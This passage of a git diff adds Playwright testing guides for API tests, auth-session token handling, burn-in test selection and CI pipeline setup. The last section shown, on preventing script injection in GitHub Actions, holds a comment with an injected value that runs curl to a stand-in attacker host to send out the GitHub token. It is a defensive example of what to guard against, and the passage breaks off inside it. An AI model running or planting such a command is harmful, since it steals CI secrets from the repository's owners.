+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+        webhookUrl: 'https://webhook.site/test-endpoint',
+      },
+    });
+
+    // Poll for webhook delivery status
+    const { body: webhookStatus } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/webhooks/order/${order.id}` }),
+      (response) => response.body.delivered === true,
+      { timeout: 30000, interval: 1000 },
+    );
+
+    expect(webhookStatus.delivered).toBe(true);
+    expect(webhookStatus.deliveredAt).toBeDefined();
+    expect(webhookStatus.responseStatus).toBe(200);
+  });
+});
+```
+
+**Key Points**:
+
+- `recurse` for polling async operations
+- Test both success and failure scenarios
+- Configurable timeout and interval
+- Log messages for debugging
+
+### Example 7: Service Authentication (No Browser)
+
+**Context**: Test authenticated API endpoints using tokens directly - no browser login needed.
+
+**Implementation**:
+
+```typescript
+// tests/api/authenticated.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Authenticated API Tests', () => {
+  let authToken: string;
+
+  test.beforeAll(async ({ request }) => {
+    // Get token via API (no browser!)
+    const response = await request.post('/api/auth/login', {
+      data: {
+        email: process.env.TEST_USER_EMAIL,
+        password: process.env.TEST_USER_PASSWORD,
+      },
+    });
+
+    const { token } = await response.json();
+    authToken = token;
+  });
+
+  test('should access protected endpoint with token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.email).toBe(process.env.TEST_USER_EMAIL);
+  });
+
+  test('should reject request without token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      // No Authorization header
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('UNAUTHORIZED');
+  });
+
+  test('should reject expired token', async ({ apiRequest }) => {
+    const expiredToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'; // Expired token
+
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${expiredToken}`,
+      },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('TOKEN_EXPIRED');
+  });
+
+  test('should handle role-based access', async ({ apiRequest }) => {
+    // User token (non-admin)
+    const { status } = await apiRequest({
+      method: 'GET',
+      path: '/api/admin/users',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(403); // Forbidden for non-admin
+  });
+});
+```
+
+**Key Points**:
+
+- Token obtained via API login (no browser)
+- Token reused across all tests in describe block
+- Test auth, expired tokens, and RBAC
+- Pure API testing without UI
+
+### Example 8: Operation-Based API Testing (OpenAPI / Code Generators)
+
+**Context**: When your project uses code-generated operation definitions from an OpenAPI spec, leverage the operation-based overload of `apiRequest` (v3.14.0+) instead of manual `method`/`path` extraction. This eliminates `typeof` assertions and provides full type inference for request body, response, and query parameters.
+
+**Implementation**:
+
+```typescript
+// tests/api/operations.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.describe('API Tests with Generated Operations', () => {
+  test('should create entity with full type safety', async ({ apiRequest }) => {
+    // Operation object from code generator — contains path, method, and type info
+    const { status, body } = await apiRequest({
+      operation: createEntityOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: entityInput, // Compile-time typed from operation.request
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined(); // body typed from operation.response
+  });
+
+  test('should list with typed query parameters', async ({ apiRequest }) => {
+    // query field replaces manual string concatenation
+    const { body } = await apiRequest({
+      operation: listEntitiesOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      query: { page: 0, page_size: 10, status: 'active' },
+    });
+
+    expect(body.items).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+  });
+
+  test('should poll async operation until complete', async ({ apiRequest, recurse }) => {
+    const { body: job } = await apiRequest({
+      operation: startJobOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: { type: 'export' },
+    });
+
+    await recurse(
+      async () =>
+        apiRequest({
+          operation: getJobOp({ workspaceId, jobId: job.id }),
+          headers: getHeaders(workspaceId),
+        }),
+      (res) => res.body.status === 'completed',
+      { timeout: 60000, interval: 2000 },
+    );
+  });
+});
+```
+
+**Key Points**:
+
+- `operation` replaces `method` + `path` — mutually exclusive at compile time
+- Types for body, response, and query all inferred from the operation definition
+- Works with any code generator using structural typing (no imports from playwright-utils needed in generator)
+- Composable with `recurse`, `validateSchema`, and all existing `apiRequest` features
+- Preferred approach over `typeof operation.response` for generated operations
+
+## API Test Configuration
+
+### Playwright Config for API-Only Tests
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  testDir: './tests/api',
+
+  // No browser needed for API tests
+  use: {
+    baseURL: process.env.API_URL || 'http://localhost:3000',
+    extraHTTPHeaders: {
+      Accept: 'application/json',
+      'Content-Type': 'application/json',
+    },
+  },
+
+  // Faster without browser overhead
+  timeout: 30000,
+
+  // Run API tests in parallel
+  workers: 4,
+  fullyParallel: true,
+
+  // No screenshots/traces needed for API tests
+  reporter: [['html'], ['json', { outputFile: 'api-test-results.json' }]],
+});
+```
+
+### Separate API Test Project
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  projects: [
+    {
+      name: 'api',
+      testDir: './tests/api',
+      use: {
+        baseURL: process.env.API_URL,
+      },
+    },
+    {
+      name: 'e2e',
+      testDir: './tests/e2e',
+      use: {
+        baseURL: process.env.APP_URL,
+        ...devices['Desktop Chrome'],
+      },
+    },
+  ],
+});
+```
+
+## Comparison: API Tests vs E2E Tests
+
+| Aspect              | API Test               | E2E Test                    |
+| ------------------- | ---------------------- | --------------------------- |
+| **Speed**           | ~50-100ms per test     | ~2-10s per test             |
+| **Stability**       | Very stable            | More flaky (UI timing)      |
+| **Setup**           | Minimal                | Browser, context, page      |
+| **Debugging**       | Clear request/response | DOM, screenshots, traces    |
+| **Coverage**        | Service logic          | User experience             |
+| **Parallelization** | Easy (stateless)       | Complex (browser resources) |
+| **CI Cost**         | Low (no browser)       | High (browser containers)   |
+
+## Related Fragments
+
+- `api-request.md` - apiRequest utility details
+- `recurse.md` - Polling patterns for async operations
+- `auth-session.md` - Token management
+- `contract-testing.md` - Pact contract testing
+- `test-levels-framework.md` - When to use which test level
+- `data-factories.md` - Test data setup patterns
+
+## Anti-Patterns
+
+**DON'T use E2E for API validation:**
+
+```typescript
+// Bad: Testing API through UI
+test('validate user creation', async ({ page }) => {
+  await page.goto('/admin/users');
+  await page.fill('#name', 'John');
+  await page.click('#submit');
+  await expect(page.getByText('User created')).toBeVisible();
+});
+```
+
+**DO test APIs directly:**
+
+```typescript
+// Good: Direct API test
+test('validate user creation', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'John' },
+  });
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**DON'T ignore API tests because "E2E covers it":**
+
+```typescript
+// Bad thinking: "Our E2E tests create users, so API is tested"
+// Reality: E2E tests one happy path; API tests cover edge cases
+```
+
+**DO have dedicated API test coverage:**
+
+```typescript
+// Good: Explicit API test suite
+test.describe('Users API', () => {
+  test('creates user', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles duplicate email', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('validates required fields', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles malformed JSON', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('rate limits requests', async ({ apiRequest }) => {
+    /* ... */
+  });
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/auth-session.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/auth-session.md
new file mode 100644
index 0000000..905472f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/auth-session.md
@@ -0,0 +1,548 @@
+# Auth Session Utility
+
+## Principle
+
+Persist authentication tokens to disk and reuse across test runs. Support multiple user identifiers, ephemeral authentication, and worker-specific accounts for parallel execution. Fetch tokens once, use everywhere. **Works for both API-only tests and browser tests.**
+
+## Rationale
+
+Playwright's built-in authentication works but has limitations:
+
+- Re-authenticates for every test run (slow)
+- Single user per project setup
+- No token expiration handling
+- Manual session management
+- Complex setup for multi-user scenarios
+
+The `auth-session` utility provides:
+
+- **Token persistence**: Authenticate once, reuse across runs
+- **Multi-user support**: Different user identifiers in same test suite
+- **Ephemeral auth**: On-the-fly user authentication without disk persistence
+- **Worker-specific accounts**: Parallel execution with isolated user accounts
+- **Automatic token management**: Checks validity, renews if expired
+- **Flexible provider pattern**: Adapt to any auth system (OAuth2, JWT, custom)
+- **API-first design**: Get tokens for API tests without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic Auth Session Setup
+
+**Context**: Configure global authentication that persists across test runs.
+
+**Implementation**:
+
+```typescript
+// Step 1: Configure in global-setup.ts
+import { authStorageInit, setAuthProvider, configureAuthSession, authGlobalInit } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './auth/custom-auth-provider';
+
+async function globalSetup() {
+  // Ensure storage directories exist
+  authStorageInit();
+
+  // Configure storage path
+  configureAuthSession({
+    authStoragePath: process.cwd() + '/playwright/auth-sessions',
+    debug: true,
+  });
+
+  // Set custom provider (HOW to authenticate)
+  setAuthProvider(myCustomProvider);
+
+  // Optional: pre-fetch token for default user
+  await authGlobalInit();
+}
+
+export default globalSetup;
+
+// Step 2: Create auth fixture
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './custom-auth-provider';
+
+// Register provider early
+setAuthProvider(myCustomProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests
+test('authenticated request', async ({ authToken, request }) => {
+  const response = await request.get('/api/protected', {
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(response.ok()).toBeTruthy();
+});
+```
+
+**Key Points**:
+
+- Global setup runs once before all tests
+- Token fetched once, reused across all tests
+- Custom provider defines your auth mechanism
+- Order matters: configure, then setProvider, then init
+
+### Example 2: Multi-User Authentication
+
+**Context**: Testing with different user roles (admin, regular user, guest) in same test suite.
+
+**Implementation**:
+
+```typescript
+import { test } from '../support/auth/auth-fixture';
+
+// Option 1: Per-test user override
+test('admin actions', async ({ authToken, authOptions }) => {
+  // Override default user
+  authOptions.userIdentifier = 'admin';
+
+  const { authToken: adminToken } = await test.step('Get admin token', async () => {
+    return { authToken }; // Re-fetches with new identifier
+  });
+
+  // Use admin token
+  const response = await request.get('/api/admin/users', {
+    headers: { Authorization: `Bearer ${adminToken}` },
+  });
+});
+
+// Option 2: Parallel execution with different users
+test.describe.parallel('multi-user tests', () => {
+  test('user 1 actions', async ({ authToken }) => {
+    // Uses default user (e.g., 'user1')
+  });
+
+  test('user 2 actions', async ({ authToken, authOptions }) => {
+    authOptions.userIdentifier = 'user2';
+    // Uses different token for user2
+  });
+});
+```
+
+**Key Points**:
+
+- Override `authOptions.userIdentifier` per test
+- Tokens cached separately per user identifier
+- Parallel tests isolated with different users
+- Worker-specific accounts possible
+
+### Example 3: Ephemeral User Authentication
+
+**Context**: Create temporary test users that don't persist to disk (e.g., testing user creation flow).
+
+**Implementation**:
+
+```typescript
+import { applyUserCookiesToBrowserContext } from '@seontechnologies/playwright-utils/auth-session';
+import { createTestUser } from '../utils/user-factory';
+
+test('ephemeral user test', async ({ context, page }) => {
+  // Create temporary user (not persisted)
+  const ephemeralUser = await createTestUser({
+    role: 'admin',
+    permissions: ['delete-users'],
+  });
+
+  // Apply auth directly to browser context
+  await applyUserCookiesToBrowserContext(context, ephemeralUser);
+
+  // Page now authenticated as ephemeral user
+  await page.goto('/admin/users');
+
+  await expect(page.getByTestId('delete-user-btn')).toBeVisible();
+
+  // User and token cleaned up after test
+});
+```
+
+**Key Points**:
+
+- No disk persistence (ephemeral)
+- Apply cookies directly to context
+- Useful for testing user lifecycle
+- Clean up automatic when test ends
+
+### Example 4: Testing Multiple Users in Single Test
+
+**Context**: Testing interactions between users (messaging, sharing, collaboration features).
+
+**Implementation**:
+
+```typescript
+test('user interaction', async ({ browser }) => {
+  // User 1 context
+  const user1Context = await browser.newContext({
+    storageState: './auth-sessions/local/user1/storage-state.json',
+  });
+  const user1Page = await user1Context.newPage();
+
+  // User 2 context
+  const user2Context = await browser.newContext({
+    storageState: './auth-sessions/local/user2/storage-state.json',
+  });
+  const user2Page = await user2Context.newPage();
+
+  // User 1 sends message
+  await user1Page.goto('/messages');
+  await user1Page.fill('#message', 'Hello from user 1');
+  await user1Page.click('#send');
+
+  // User 2 receives message
+  await user2Page.goto('/messages');
+  await expect(user2Page.getByText('Hello from user 1')).toBeVisible();
+
+  // Cleanup
+  await user1Context.close();
+  await user2Context.close();
+});
+```
+
+**Key Points**:
+
+- Each user has separate browser context
+- Reference storage state files directly
+- Test real-time interactions
+- Clean up contexts after test
+
+### Example 5: Worker-Specific Accounts (Parallel Testing)
+
+**Context**: Running tests in parallel with isolated user accounts per worker to avoid conflicts.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  workers: 4, // 4 parallel workers
+  use: {
+    // Each worker uses different user
+    storageState: async ({}, use, testInfo) => {
+      const workerIndex = testInfo.workerIndex;
+      const userIdentifier = `worker-${workerIndex}`;
+
+      await use(`./auth-sessions/local/${userIdentifier}/storage-state.json`);
+    },
+  },
+});
+
+// Tests run in parallel, each worker with its own user
+test('parallel test 1', async ({ page }) => {
+  // Worker 0 uses worker-0 account
+  await page.goto('/dashboard');
+});
+
+test('parallel test 2', async ({ page }) => {
+  // Worker 1 uses worker-1 account
+  await page.goto('/dashboard');
+});
+```
+
+**Key Points**:
+
+- Each worker has isolated user account
+- No conflicts in parallel execution
+- Token management automatic per worker
+- Scales to any number of workers
+
+### Example 6: Pure API Authentication (No Browser)
+
+**Context**: Get auth tokens for API-only tests using auth-session disk persistence.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create API-only auth provider (no browser needed)
+// playwright/support/api-auth-provider.ts
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const apiAuthProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+  getUserIdentifier: (options) => options.userIdentifier || 'api-user',
+
+  extractToken: (storageState) => {
+    // Token stored in localStorage format for disk persistence
+    const tokenEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'auth_token');
+    return tokenEntry?.value;
+  },
+
+  isTokenExpired: (storageState) => {
+    const expiryEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'token_expiry');
+    if (!expiryEntry) return true;
+    return Date.now() > parseInt(expiryEntry.value, 10);
+  },
+
+  manageAuthToken: async (request, options) => {
+    const email = process.env.TEST_USER_EMAIL;
+    const password = process.env.TEST_USER_PASSWORD;
+
+    if (!email || !password) {
+      throw new Error('TEST_USER_EMAIL and TEST_USER_PASSWORD must be set');
+    }
+
+    // Pure API login - no browser!
+    const response = await request.post('/api/auth/login', {
+      data: { email, password },
+    });
+
+    if (!response.ok()) {
+      throw new Error(`Auth failed: ${response.status()}`);
+    }
+
+    const { token, expiresIn } = await response.json();
+    const expiryTime = Date.now() + expiresIn * 1000;
+
+    // Return storage state format for disk persistence
+    return {
+      cookies: [],
+      origins: [
+        {
+          origin: process.env.API_BASE_URL || 'http://localhost:3000',
+          localStorage: [
+            { name: 'auth_token', value: token },
+            { name: 'token_expiry', value: String(expiryTime) },
+          ],
+        },
+      ],
+    };
+  },
+};
+
+export default apiAuthProvider;
+
+// Step 2: Create auth fixture
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import apiAuthProvider from './api-auth-provider';
+
+setAuthProvider(apiAuthProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests - token persisted to disk!
+// tests/api/authenticated-api.spec.ts
+import { test } from '../support/fixtures';
+import { expect } from '@playwright/test';
+
+test('should access protected endpoint', async ({ authToken, apiRequest }) => {
+  // authToken is automatically loaded from disk or fetched if expired
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/me',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+
+test('should create resource with auth', async ({ authToken, apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    headers: { Authorization: `Bearer ${authToken}` },
+    body: { items: [{ productId: 'prod-1', quantity: 2 }] },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Token persisted to disk (not in-memory) - survives test reruns
+- Provider fetches token once, reuses until expired
+- Pure API authentication - no browser context needed
+- `authToken` fixture handles disk read/write automatically
+- Environment variables validated with clear error message
+
+### Example 7: Service-to-Service Authentication
+
+**Context**: Test microservice authentication patterns (API keys, service tokens) with proper environment validation.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-auth.spec.ts
+import { test as base, expect } from '@playwright/test';
+import { test as apiFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { mergeTests } from '@playwright/test';
+
+// Validate environment variables at module load
+const SERVICE_API_KEY = process.env.SERVICE_API_KEY;
+const INTERNAL_SERVICE_URL = process.env.INTERNAL_SERVICE_URL;
+
+if (!SERVICE_API_KEY) {
+  throw new Error('SERVICE_API_KEY environment variable is required');
+}
+if (!INTERNAL_SERVICE_URL) {
+  throw new Error('INTERNAL_SERVICE_URL environment variable is required');
+}
+
+const test = mergeTests(base, apiFixture);
+
+test.describe('Service-to-Service Auth', () => {
+  test('should authenticate with API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': SERVICE_API_KEY },
+    });
+
+    expect(status).toBe(200);
+    expect(body.status).toBe('healthy');
+  });
+
+  test('should reject invalid API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': 'invalid-key' },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('INVALID_API_KEY');
+  });
+
+  test('should call downstream service with propagated auth', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/internal/aggregate-data',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: {
+        'X-API-Key': SERVICE_API_KEY,
+        'X-Request-ID': `test-${Date.now()}`,
+      },
+      body: { sources: ['users', 'orders', 'inventory'] },
+    });
+
+    expect(status).toBe(200);
+    expect(body.aggregatedFrom).toHaveLength(3);
+  });
+});
+```
+
+**Key Points**:
+
+- Environment variables validated at module load with clear errors
+- API key authentication (simpler than OAuth - no disk persistence needed)
+- Test internal/service endpoints
+- Validate auth rejection scenarios
+- Correlation ID for request tracing
+
+> **Note**: API keys are typically static secrets that don't expire, so disk persistence (auth-session) isn't needed. For rotating service tokens, use the auth-session provider pattern from Example 6.
+
+## Custom Auth Provider Pattern
+
+**Context**: Adapt auth-session to your authentication system (OAuth2, JWT, SAML, custom).
+
+**Minimal provider structure**:
+
+```typescript
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const myCustomProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+
+  getUserIdentifier: (options) => options.userIdentifier || 'default-user',
+
+  extractToken: (storageState) => {
+    // Extract token from your storage format
+    return storageState.cookies.find((c) => c.name === 'auth_token')?.value;
+  },
+
+  extractCookies: (tokenData) => {
+    // Convert token to cookies for browser context
+    return [
+      {
+        name: 'auth_token',
+        value: tokenData,
+        domain: 'example.com',
+        path: '/',
+        httpOnly: true,
+        secure: true,
+      },
+    ];
+  },
+
+  isTokenExpired: (storageState) => {
+    // Check if token is expired
+    const expiresAt = storageState.cookies.find((c) => c.name === 'expires_at');
+    return Date.now() > parseInt(expiresAt?.value || '0');
+  },
+
+  manageAuthToken: async (request, options) => {
+    // Main token acquisition logic
+    // Return storage state with cookies/localStorage
+  },
+};
+
+export default myCustomProvider;
+```
+
+## Integration with API Request
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/fixtures';
+
+test('authenticated API call', async ({ apiRequest, authToken }) => {
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/protected',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+```
+
+## Related Fragments
+
+- `api-testing-patterns.md` - Pure API testing patterns (no browser)
+- `overview.md` - Installation and fixture composition
+- `api-request.md` - Authenticated API requests
+- `fixtures-composition.md` - Merging auth with other utilities
+
+## Anti-Patterns
+
+**❌ Calling setAuthProvider after globalSetup:**
+
+```typescript
+async function globalSetup() {
+  configureAuthSession(...)
+  await authGlobalInit()  // Provider not set yet!
+  setAuthProvider(provider)  // Too late
+}
+```
+
+**✅ Register provider before init:**
+
+```typescript
+async function globalSetup() {
+  authStorageInit()
+  configureAuthSession(...)
+  setAuthProvider(provider)  // First
+  await authGlobalInit()     // Then init
+}
+```
+
+**❌ Hardcoding storage paths:**
+
+```typescript
+const storageState = './auth-sessions/local/user1/storage-state.json'; // Brittle
+```
+
+**✅ Use helper functions:**
+
+```typescript
+import { getTokenFilePath } from '@seontechnologies/playwright-utils/auth-session';
+
+const tokenPath = getTokenFilePath({
+  environment: 'local',
+  userIdentifier: 'user1',
+  tokenFileName: 'storage-state.json',
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/burn-in.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/burn-in.md
new file mode 100644
index 0000000..d8b9f9e
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/burn-in.md
@@ -0,0 +1,273 @@
+# Burn-in Test Runner
+
+## Principle
+
+Use smart test selection with git diff analysis to run only affected tests. Filter out irrelevant changes (configs, types, docs) and control test volume with percentage-based execution. Reduce unnecessary CI runs while maintaining reliability.
+
+## Rationale
+
+Playwright's `--only-changed` triggers all affected tests:
+
+- Config file changes trigger hundreds of tests
+- Type definition changes cause full suite runs
+- No volume control (all or nothing)
+- Slow CI pipelines
+
+The `burn-in` utility provides:
+
+- **Smart filtering**: Skip patterns for irrelevant files (configs, types, docs)
+- **Volume control**: Run percentage of affected tests after filtering
+- **Custom dependency analysis**: More accurate than Playwright's built-in
+- **CI optimization**: Faster pipelines without sacrificing confidence
+- **Process of elimination**: Start with all → filter irrelevant → control volume
+
+## Pattern Examples
+
+### Example 1: Basic Burn-in Setup
+
+**Context**: Run burn-in on changed files compared to main branch.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create burn-in script
+// playwright/scripts/burn-in-changed.ts
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in'
+
+async function main() {
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+    baseBranch: 'main'
+  })
+}
+
+main().catch(console.error)
+
+// Step 2: Create config
+// playwright/config/.burn-in.config.ts
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in'
+
+const config: BurnInConfig = {
+  // Files that never trigger tests (first filter)
+  skipBurnInPatterns: [
+    '**/config/**',
+    '**/*constants*',
+    '**/*types*',
+    '**/*.md',
+    '**/README*'
+  ],
+
+  // Run 30% of remaining tests after skip filter
+  burnInTestPercentage: 0.3,
+
+  // Burn-in repetition
+  burnIn: {
+    repeatEach: 3,  // Run each test 3 times
+    retries: 1      // Allow 1 retry
+  }
+}
+
+export default config
+
+// Step 3: Add package.json script
+{
+  "scripts": {
+    "test:pw:burn-in-changed": "tsx playwright/scripts/burn-in-changed.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Two-stage filtering: skip patterns, then volume control
+- `skipBurnInPatterns` eliminates irrelevant files
+- `burnInTestPercentage` controls test volume (0.3 = 30%)
+- Custom dependency analysis finds actually affected tests
+
+### Example 2: CI Integration
+
+**Context**: Use burn-in in GitHub Actions for efficient CI runs.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/burn-in.yml
+name: Burn-in Changed Tests
+
+on:
+  pull_request:
+    branches: [main]
+
+jobs:
+  burn-in:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Need git history
+
+      - name: Setup Node
+        uses: actions/setup-node@v4
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run burn-in on changed tests
+        run: npm run test:pw:burn-in-changed -- --base-branch=origin/main
+
+      - name: Upload artifacts
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failures
+          path: test-results/
+```
+
+**Key Points**:
+
+- `fetch-depth: 0` for full git history
+- Pass `--base-branch=origin/main` for PR comparison
+- Upload artifacts only on failure
+- Significantly faster than full suite
+
+### Example 3: How It Works (Process of Elimination)
+
+**Context**: Understanding the filtering pipeline.
+
+**Scenario:**
+
+```
+Git diff finds: 21 changed files
+├─ Step 1: Skip patterns filter
+│  Removed: 6 files (*.md, config/*, *types*)
+│  Remaining: 15 files
+│
+├─ Step 2: Dependency analysis
+│  Tests that import these 15 files: 45 tests
+│
+└─ Step 3: Volume control (30%)
+   Final tests to run: 14 tests (30% of 45)
+
+Result: Run 14 targeted tests instead of 147 with --only-changed!
+```
+
+**Key Points**:
+
+- Three-stage pipeline: skip → analyze → control
+- Custom dependency analysis (not just imports)
+- Percentage applies AFTER filtering
+- Dramatically reduces CI time
+
+### Example 4: Environment-Specific Configuration
+
+**Context**: Different settings for local vs CI environments.
+
+**Implementation**:
+
+```typescript
+import type { BurnInConfig } from '@seontechnologies/playwright-utils/burn-in';
+
+const config: BurnInConfig = {
+  skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md'],
+
+  // CI runs fewer iterations, local runs more
+  burnInTestPercentage: process.env.CI ? 0.2 : 0.3,
+
+  burnIn: {
+    repeatEach: process.env.CI ? 2 : 3,
+    retries: process.env.CI ? 0 : 1, // No retries in CI
+  },
+};
+
+export default config;
+```
+
+**Key Points**:
+
+- `process.env.CI` for environment detection
+- Lower percentage in CI (20% vs 30%)
+- Fewer iterations in CI (2 vs 3)
+- No retries in CI (fail fast)
+
+### Example 5: Sharding Support
+
+**Context**: Distribute burn-in tests across multiple CI workers.
+
+**Implementation**:
+
+```typescript
+// burn-in-changed.ts with sharding
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in';
+
+async function main() {
+  const shardArg = process.argv.find((arg) => arg.startsWith('--shard='));
+
+  if (shardArg) {
+    process.env.PW_SHARD = shardArg.split('=')[1];
+  }
+
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+  });
+}
+```
+
+```yaml
+# GitHub Actions with sharding
+jobs:
+  burn-in:
+    strategy:
+      matrix:
+        shard: [1/3, 2/3, 3/3]
+    steps:
+      - run: npm run test:pw:burn-in-changed -- --shard=${{ matrix.shard }}
+```
+
+**Key Points**:
+
+- Pass `--shard=1/3` for parallel execution
+- Burn-in respects Playwright sharding
+- Distribute across multiple workers
+- Reduces total CI time further
+
+## Integration with CI Workflow
+
+When setting up CI with `*ci` workflow, recommend burn-in for:
+
+- Pull request validation
+- Pre-merge checks
+- Nightly builds (subset runs)
+
+## Related Fragments
+
+- `ci-burn-in.md` - Traditional burn-in patterns (10-iteration loops)
+- `selective-testing.md` - Test selection strategies
+- `overview.md` - Installation
+
+## Anti-Patterns
+
+**❌ Over-aggressive skip patterns:**
+
+```typescript
+skipBurnInPatterns: [
+  '**/*', // Skips everything!
+];
+```
+
+**✅ Targeted skip patterns:**
+
+```typescript
+skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md', '**/*constants*'];
+```
+
+**❌ Too low percentage (false confidence):**
+
+```typescript
+burnInTestPercentage: 0.05; // Only 5% - might miss issues
+```
+
+**✅ Balanced percentage:**
+
+```typescript
+burnInTestPercentage: 0.2; // 20% in CI, provides good coverage
+```
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/ci-burn-in.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/ci-burn-in.md
new file mode 100644
index 0000000..a092987
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/ci-burn-in.md
@@ -0,0 +1,717 @@
+# CI Pipeline and Burn-In Strategy
+
+## Principle
+
+CI pipelines must execute tests reliably, quickly, and provide clear feedback. Burn-in testing (running changed tests multiple times) flushes out flakiness before merge. Stage jobs strategically: install/cache once, run changed specs first for fast feedback, then shard full suites with fail-fast disabled to preserve evidence.
+
+## Rationale
+
+CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness.
+
+## Security: Script Injection Prevention
+
+**Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted).
+
+When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection.
+
+### Vulnerable vs Safe Pattern
+
+```yaml
+# ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
